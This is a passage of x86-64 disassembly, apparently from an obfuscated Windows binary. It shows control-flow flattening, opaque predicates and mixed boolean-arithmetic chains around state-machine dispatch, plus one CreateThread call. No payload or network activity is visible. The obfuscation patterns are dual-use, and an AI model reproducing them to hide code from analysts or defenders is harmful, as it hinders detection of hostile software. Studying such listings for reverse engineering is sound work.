and ecx, 0x19c8b347
and eax, 0xe6374cb8
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xdecadb80
and edx, 0x2135247f
or edx, eax
mov eax, edx
xor eax, 0x1342464
xor edx, 0xdecadb80
mov ecx, edx
and ecx, 0x7601c21b
and eax, 0x89fe3de4
or eax, ecx
xor eax, 0x89fe3de4
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne dl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov r10d, ebx
xor r10b, dl
mov r8d, r10d
xor r8b, 1
and r9b, cl
and bl, dl
or bl, r9b
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and r8b, cl
and al, r10b
or al, r8b
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9b6517d1
mov ebx, 0xb1f7e1ce
cmovne edx, ebx
test cl, 1
mov ecx, 0x9b6517d1
cmovne ecx, edx
test al, al
jmp 0x1401a0cb9
cmp eax, 0x9ce5fe3
je 0x140184045
cmp eax, 0x9d5f122
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0x326b52bc
mov ecx, edi
not ecx
or edx, 0x910a802
and edx, 0x293bb806
and ebx, 0x124042b8
or ebx, edx
and edi, 0x293bb806
and ecx, 0xc4840541
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xcd94ad43
and ecx, 0x326b52bc
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x8788e3d4
and edx, ecx
and ecx, 0x78771c2b
or ecx, ebx
mov ebx, ecx
xor ebx, 0x28370023
xor ecx, 0x8788e3d4
mov edi, edx
not edi
mov esi, ecx
and esi, 0x56c8fcdc
and ebx, 0xa9370323
or ebx, esi
or ecx, edi
and edi, 0x56c8fcdc
and edx, 0xa9370323
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xea26e700
and ecx, 0x15d918ff
or ecx, ebx
xor ecx, 0x15d918ff
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
and dl, cl
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, cl
and dl, bl
mov eax, ecx
xor al, r8b
not al
and al, r8b
or cl, r8b
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb93f25e6
mov ebx, 0x6137f3c7
cmovne ecx, ebx
test dl, 1
mov edx, ecx
mov ebx, 0xb93f25e6
jmp 0x1401a216b
cmp eax, 0x6bd832dc
je 0x14018405a
cmp eax, 0x6c4b4f07
jne 0x14016c950
mov eax, 0x97ab0093
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x3151e4d4
je 0x140184086
cmp eax, 0x31aeddaf
jne 0x14016c950
mov eax, 0x70ff40f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x5d0c3b5c
je 0x14018409b
cmp eax, 0x5d427808
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov edi, ecx
or edi, 0x41bf9ea4
mov esi, edi
not esi
mov edx, eax
or edx, 0xbe40615b
mov ebx, edx
not ebx
and edi, 0x38bfe978
and esi, 0x86400003
or esi, edi
and edx, 0x38bfe978
and ebx, 0x41001684
or ebx, edx
xor ebx, esi
mov edx, ebx
not edx
and edx, 0x3a8cf9f6
and ebx, 0xc5730609
or ebx, edx
xor ebx, 0x84cc98ac
and eax, 0x7ff35d7f
and ecx, 0x800ca280
or ecx, eax
xor ecx, 0x800ca280
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xefa025f4
and ecx, 0x105fda0b
or ecx, eax
xor ecx, 0x105fda0b
sete r9b
setne cl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl bl
and cl, bl
mov edx, eax
xor dl, r9b
and dl, al
and al, r9b
or al, cl
xor bl, r9b
xor dl, 1
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x5d0c3b5c
mov ebx, 0xed55021d
cmovne ecx, ebx
test dl, dl
mov edx, 0x5d0c3b5c
jmp 0x14019affd
cmp eax, 0x1e8e4060
je 0x1401840b0
cmp eax, 0x1f2c0c16
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x2f5db331
and edx, ebx
not ebx
and ebx, 0x231ca111
and ecx, 0xc411220
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc000000
xor ecx, 0xf3beeddf
mov edi, edx
not edi
mov esi, ecx
and esi, 0x80e11ba6
and ebx, 0x2f1ca011
or ebx, esi
or ecx, edi
and edi, 0x80e11ba6
and edx, 0x7f1ee459
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd0a24cce
and ecx, 0x2f5db331
or ecx, edx
mov esi, ecx
mov edi, ecx
xor edi, 0xbffd138e
and edi, ecx
not ecx
and ecx, 0x6cb5428f
and esi, 0x934abd70
or esi, ecx
mov edx, esi
xor edx, 0x934abd70
mov ebx, esi
xor ebx, 0xd3485101
and ebx, edx
mov ecx, ebx
not ecx
mov eax, edi
not eax
mov r9d, ecx
and r9d, 0xd12984c9
and ebx, 0x2ed67b36
or ebx, r9d
or ecx, eax
and eax, 0xd12984c9
and edi, 0x2ed67b36
or edi, eax
xor edi, ebx
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x83a4ab29
and ecx, 0x7c5b54d6
or ecx, eax
mov edi, ecx
xor edi, 0xc2a04651
xor esi, 0x40200000
and esi, 0x43628510
mov eax, edx
and eax, 0xbc9d7aef
or eax, esi
xor eax, 0x43628511
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x3be924bb
and edx, 0xc416db44
or edx, eax
mov eax, edx
xor eax, 0xc0005240
xor ecx, 0x3c59b8a6
xor edx, 0x3be924bb
mov ebx, ecx
and ebx, 0x2516a90c
and edi, 0xdae956f3
or edi, ebx
or ecx, edx
and edx, 0x2516a90c
and eax, 0xdae956f3
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov ebx, eax
or ebx, 0xff691a2d
mov edx, ebx
not edx
or ecx, 0x140100
and ecx, 0xde5c130d
and eax, 0x21210820
or eax, ecx
and ebx, 0xde5c130d
and edx, 0x82e4d2
or edx, ebx
xor edx, eax
mov eax, edx
not eax
and eax, 0x7f2e9819
and edx, 0x80d167e6
or edx, eax
mov eax, edx
xor eax, 0x36307d4a
xor edx, 0x80478234
mov ecx, edx
and ecx, 0x49ca82b5
and eax, 0xb6357d4a
or eax, ecx
xor eax, 0xb6357d4a
or eax, edx
cmp eax, 0xffffffff
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and dl, r9b
or dl, cl
mov ecx, edx
xor cl, bl
and cl, dl
xor bl, al
xor bl, cl
mov eax, ebx
not al
and al, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x3ac92cb
mov edi, 0x7cdc1060
cmovne ecx, edi
test bl, bl
mov edx, ecx
cmovne edx, edi
test al, al
jmp 0x14019d269
cmp eax, 0x7ab01f57
je 0x140184252
cmp eax, 0x7afa23fe
jne 0x14016c950
mov eax, 0x5e3eec4b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x43008bb5
je 0x14018440a
cmp eax, 0x4391b8f6
jne 0x14016c950
mov eax, 0x23af401c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x454cbe2
je 0x1401844eb
cmp eax, 0x489c07a
jne 0x14016c950
mov eax, 0xac0e0835
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x6913c3c0
je 0x1401845e2
cmp eax, 0x69297302
jne 0x14016c950
mov eax, 0x2ec72bba
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x2bb3a61a
je 0x1401845f7
cmp eax, 0x2bd7b575
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x101c110
mov ebx, edi
and ebx, 0x90742400
or ebx, edx
xor ebx, 0x90742400
mov edx, edi
and edx, 0x6e8a1aef
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x6e8a1aee
and edx, 0x9175e511
or edx, ebx
mov ebx, edx
not ebx
mov esi, edx
and esi, 0x9a63fb4e
and ebx, 0x659c04b1
or ebx, esi
or edx, edi
and edi, 0x9a63fb4e
and ecx, 0x659c04b1
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, ebx
xor al, dl
and bl, al
and al, dl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, ecx
and dl, r8b
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x9d63d924
mov ebx, 0xa43a29f
cmovne ecx, ebx
test al, 1
mov eax, 0x9d63d924
cmovne ecx, eax
test dl, 1
cmove ecx, ebx
jmp 0x1401a26c0
cmp eax, 0x58bdd07c
je 0x1401846e5
cmp eax, 0x58c8c00f
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x3aac3e68
and edx, ecx
not ecx
mov ebx, ecx
and ebx, 0x1a041420
and eax, 0x20a82a48
or eax, ebx
mov ebx, eax
xor ebx, 0x802a08
xor eax, 0xdf57d5b7
mov edi, edx
not edi
mov esi, eax
and esi, 0xb36bd063
and ebx, 0x8842e08
or ebx, esi
or eax, edi
and edi, 0xb36bd063
and edx, 0x4c942f9c
or edx, edi
xor edx, ebx
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0xc553c196
and eax, 0x3aac3e69
or eax, edx
mov edx, eax
not edx
and edx, 0x1d92bbd5
and eax, 0xe26d442a
or eax, edx
xor eax, 0xe26d442a
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
cmp eax, 0xffffffff
sete cl
setne al
cmp dword [0x1402656c4], 0xa
setl bl
xor al, bl
xor al, 1
mov edx, ebx
or dl, cl
xor dl, 1
or dl, al
xor cl, bl
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x5419c94d
mov ebx, 0x519a1fc1
cmovne eax, ebx
test cl, cl
cmovne eax, ebx
not dl
test dl, 1
mov ecx, 0x5419c94d
jmp 0x1401a14db
cmp eax, 0x1b938073
je 0x14018480f
cmp eax, 0x1bbeed1f
jne 0x14016c950
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x40]
mov rax, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r9, r13
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x30
mov eax, 0xb044b69d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x760cc7a9
je 0x1401848da
cmp eax, 0x762367b7
jne 0x14016c950
mov eax, 0xfbb318f1
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x3e3e2b80
je 0x140184a30
cmp eax, 0x3f718534
jne 0x14016c950
mov eax, 0x61e1d0c9
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xecb2709
je 0x140184a45
cmp eax, 0xeddfdbe
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc69c7786
and edx, 0x39638879
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x997669f0
and edx, 0x6689960f
or edx, ecx
mov ebx, edx
xor ebx, 0xa0008081
xor edx, 0x5fea1e76
mov esi, edx
or esi, 1
mov edi, esi
not edi
and edx, 0x17556108
and ebx, 0xe8aa9ef7
or ebx, edx
mov edx, ebx
xor edx, 0xa0aa06d2
xor ebx, 0x17556109
mov ecx, esi
and ecx, 0x5815f92c
and edi, 0xa7ea06d2
or edi, ecx
or esi, ebx
and ebx, 0x5815f92c
and edx, 0xa7ea06d3
or edx, ebx
xor edx, edi
not esi
or esi, edx
mov edx, esi
mov ecx, esi
xor ecx, 0xabbaa47f
and ecx, esi
not esi
and esi, 0xaab8a079
and edx, 0x1020406
or edx, esi
xor edx, 0x1020406
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x54455b80
and ecx, 0xabbaa47f
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x70441457
and ecx, 0x8fbbeba8
or ecx, ebx
xor ecx, 0x8fbbeba8
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete cl
cmp r8d, 0xa
setl al
cmp r8d, 9
setg dl
mov r8d, eax
xor al, cl
and cl, dl
and r8b, r9b
or r8b, cl
or dl, r9b
xor dl, 1
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, r8d
xor al, 1
mov r9d, ecx
xor r9b, al
mov edx, r8d
and dl, al
mov ebx, edx
xor bl, 1
xor dl, r8b
or bl, al
xor bl, 1
or bl, dl
xor bl, cl
xor r9b, 1
or cl, r8b
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x32691916
mov edx, 0xdbab72d4
cmovne eax, edx
test cl, 1
mov ecx, 0x32691916
jmp 0x1401a2355
cmp eax, 0x6ee3f7e4
je 0x140184a5a
cmp eax, 0x6ef1a292
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0xfffffffe
mov ecx, ebx
and ecx, 1
or ecx, edi
mov edi, ecx
not edi
mov esi, ecx
and esi, 0x91c2d0c6
and edi, 0x6e3d2f39
or edi, esi
or ecx, ebx
and ebx, 0x91c2d0c6
and edx, 0x6e3d2f39
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfa601b56
and ecx, 0x59fe4a9
or ecx, edx
xor ecx, 0x59fe4a9
setne r9b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov eax, r8d
xor al, cl
and al, r8b
mov edx, r10d
xor dl, r9b
and dl, r10b
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or bl, al
mov eax, ecx
xor al, r10b
and al, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bl
and bl, cl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x2648eb60
mov edx, 0xf78a1855
cmovne eax, edx
test cl, cl
mov ecx, 0x2648eb60
jmp 0x1401a1a38
cmp eax, 0x34dc048f
je 0x140184a6f
cmp eax, 0x3532e355
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov edx, dword [0x1402656c4]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
mov esi, ebx
and esi, edi
xor edi, ebx
or edi, esi
not edi
and ecx, 0xb915d90f
and eax, 0x46ea26f0
or eax, ecx
xor eax, 0x46ea26f0
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
cmp eax, 0xffffffff
setne r9b
sete r8b
cmp edx, 0xa
setl cl
cmp edx, 9
setg bl
and r9b, cl
mov edx, ebx
xor dl, r8b
xor cl, r8b
and r8b, bl
or r9b, r8b
and dl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov ebx, eax
xor bl, 1
xor al, dl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor bl, 1
and bl, r9b
or dl, r9b
xor r9b, 1
and al, r9b
or bl, al
xor r9b, cl
xor dl, 1
or dl, r9b
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x76248fd8
mov ecx, 0x82fce278
cmovne eax, ecx
test dl, 1
mov ecx, 0x76248fd8
jmp 0x1401a1a38
cmp eax, 0x602fa342
je 0x140184b8b
cmp eax, 0x6073dd4e
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x8fa20682
mov edi, edx
and edi, 0x705df97c
or edi, ecx
xor edi, 0x705df97c
mov ecx, edx
and ecx, 1
or ecx, edi
mov edi, ecx
not edi
and ebx, 0xb583aab
and edx, 0xf4a7c554
or edx, ebx
mov ebx, edx
xor ebx, 0x54a34510
xor edx, 0xb583aab
mov esi, ecx
and esi, 0xa91caaec
and edi, 0x56e35513
or edi, esi
or ecx, edx
and edx, 0xa91caaec
and ebx, 0x56e35513
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe7787164
and ecx, 0x18878e9b
or ecx, edx
xor ecx, 0x18878e9b
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x8594d9c0
mov ebx, 0x8a40d1b6
cmovne eax, ebx
test cl, 1
cmovne eax, ebx
not dl
test dl, 1
mov ecx, 0x8594d9c0
jmp 0x1401a14db
cmp eax, 0x2429e21a
je 0x140184cfc
cmp eax, 0x2431c9a0
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x223123a
and ecx, esi
and esi, 0xfddcedc5
or esi, ebx
mov ebx, esi
xor ebx, 0xc8802104
xor esi, 0x223123a
mov edi, ecx
not edi
mov edx, esi
and edx, 0x375dcec3
and ebx, 0xc8a2313c
or ebx, edx
or esi, edi
and edi, 0x375dcec3
and ecx, 0xc8a2313c
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
mov r9d, esi
not r9d
mov ecx, esi
or ecx, 0xd74157f6
mov edi, ecx
not edi
mov edx, esi
xor edx, 0x28bea809
and edx, esi
mov eax, edx
not eax
mov ebx, ecx
and ebx, 0xed248962
and edi, 0x9a2009
or edi, ebx
or ecx, eax
and eax, 0xed248962
and edx, 0x12db769d
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7e136758
and ecx, 0x81ec98a7
or ecx, eax
mov eax, ecx
xor eax, 0x895200a1
and r9d, 1
xor esi, 0xfffffffe
or esi, r9d
mov edx, esi
not edx
xor ecx, 0x56adcf50
mov ebx, ecx
and ebx, 0x36843f1e
and eax, 0xc97bc0e1
or eax, ebx
or ecx, esi
and esi, 0x36843f1e
and edx, 0xc97bc0e1
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x18879e85
and eax, 0xe778617a
or eax, edi
or ecx, ebx
and ebx, 0x18879e85
and edx, 0xe778617a
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5a4868f4
and ecx, 0xa5b7970b
or ecx, edx
xor ecx, 0xa5b7970b
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl bl
and al, bl
or bl, dl
and r9b, dl
or r9b, al
mov eax, r9d
xor al, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r9b
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x59193bc5
mov ebx, 0xf5f198c9
cmovne ecx, ebx
test al, 1
mov eax, 0x59193bc5
jmp 0x1401a23e8
cmp eax, 0x7ce676bb
je 0x140184e77
cmp eax, 0x7d2355f5
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x821b268
mov edx, ebx
and edx, 0xf7de4d96
or edx, ecx
xor edx, 0xf7de4d96
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
and edx, 0xbfad74d8
and ecx, 0x40528b27
or ecx, edx
mov edx, ecx
xor edx, 0x40120824
xor ecx, 0xbfad74d8
mov esi, ecx
and esi, 0xb241b313
and edx, 0x4dbe4cec
or edx, esi
or ecx, ebx
and ebx, 0xb241b313
and edi, 0x4dbe4cec
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x1b547065
and ecx, 0xe4ab8f9a
or ecx, edx
xor ecx, 0xe4ab8f9a
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
or bl, al
or cl, r8b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor dl, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, al
and al, dl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
xor al, cl
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xa45478
mov ebx, 0x86bbc111
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xa45478
jmp 0x1401a0e8b
cmp eax, 0x46616969
je 0x140184f4c
cmp eax, 0x4675cec2
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x9e1f68f6
and ebx, 0x61e09709
or ebx, esi
or edx, edi
and edi, 0x9e1f68f6
and ecx, 0x61e09709
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xa422d171
and edx, 0x5bdd2e8e
or edx, ecx
mov ecx, edx
xor ecx, 0x5bdd2e8e
xor edx, 0xa422d171
mov esi, edx
or esi, 0xcca60bb1
mov eax, esi
not eax
or edi, 0x3359f44e
mov ebx, edi
not ebx
and esi, 0xc5050a67
and eax, 0x3258f408
or eax, esi
and edi, 0xc5050a67
and ebx, 0x8a20190
or ebx, edi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0x8398a042
and ebx, 0x7c675fbd
or ebx, eax
xor ebx, 0x4f3eabf2
and edx, 0x680376bc
mov eax, ecx
and eax, 0x97fc8943
or eax, edx
xor eax, 0x680376bd
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xa66e1874
and eax, 0x5991e78b
or eax, edi
or ecx, ebx
and ebx, 0xa66e1874
and edx, 0x5991e78b
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xede1bc6f
and eax, 0x121e4390
or eax, ecx
mov ecx, eax
xor ecx, 0x2d01a44b
xor eax, 0x12144390
and eax, 0xd2f45bb4
and ecx, 0x2d0ba44b
or ecx, eax
xor ecx, 0x2d0ba44b
sete cl
setne al
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl dl
mov ebx, edx
xor bl, al
xor bl, 1
or bl, r9b
and al, dl
and cl, r9b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor al, bl
xor bl, 1
xor dl, 1
or dl, r8b
xor dl, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x702697a6
mov ebx, 0x53dfea73
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x702697a6
jmp 0x1401a26bd
cmp eax, 0x2603881
je 0x140184f61
cmp eax, 0x29c6af2
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x47f391f2
and ecx, edx
and edx, 0xb80c6e0d
or edx, ebx
xor edx, 0xb80c6e0d
mov ebx, edx
and ebx, ecx
xor edx, ecx
or edx, ebx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0xc20e871e
and edi, 0x3df178e0
or edi, esi
or ecx, ebx
and ebx, 0xc20e871e
and edx, 0x3df178e1
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x455a1215
and ecx, 0xbaa5edea
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbaa5edea
and ecx, 0x455a1215
or ecx, edx
mov edx, ecx
not edx
and edx, 0xadafb069
and ecx, 0x52504f96
or ecx, edx
mov edx, ecx
xor edx, 0x2400984
xor ecx, 0xca53040
and ecx, 0x5cb57652
and edx, 0xa34a89ad
or edx, ecx
xor edx, 0x5cb57652
cmp edx, 0xffffffff
setne r10b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov ebx, r9d
xor bl, r10b
and bl, r9b
mov eax, ebx
xor al, 1
or bl, al
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, r8d
xor al, bl
xor al, 1
and al, bl
or bl, r8b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
xor r10b, cl
xor r10b, 1
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x84b66a1d
mov ebx, 0x4d15cd9a
cmovne ecx, ebx
test al, 1
mov eax, ecx
mov ebx, 0x84b66a1d
jmp 0x140199705
cmp eax, 0x6749308a
je 0x140185072
cmp eax, 0x6751536e
jne 0x14016c950
mov eax, 0xbe041dfc
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x28d60213
je 0x1401851fa
cmp eax, 0x291a5dbe
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x160422a
mov ebx, ecx
and ebx, 0x8048801
or ebx, edx
xor ebx, 0x8048801
and ecx, 0xf69b35d4
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd26917d7
and ecx, 0x2d96e828
or ecx, edx
mov edx, ecx
xor edx, 0x24f22203
mov eax, ecx
xor eax, 0x24f22202
and eax, edx
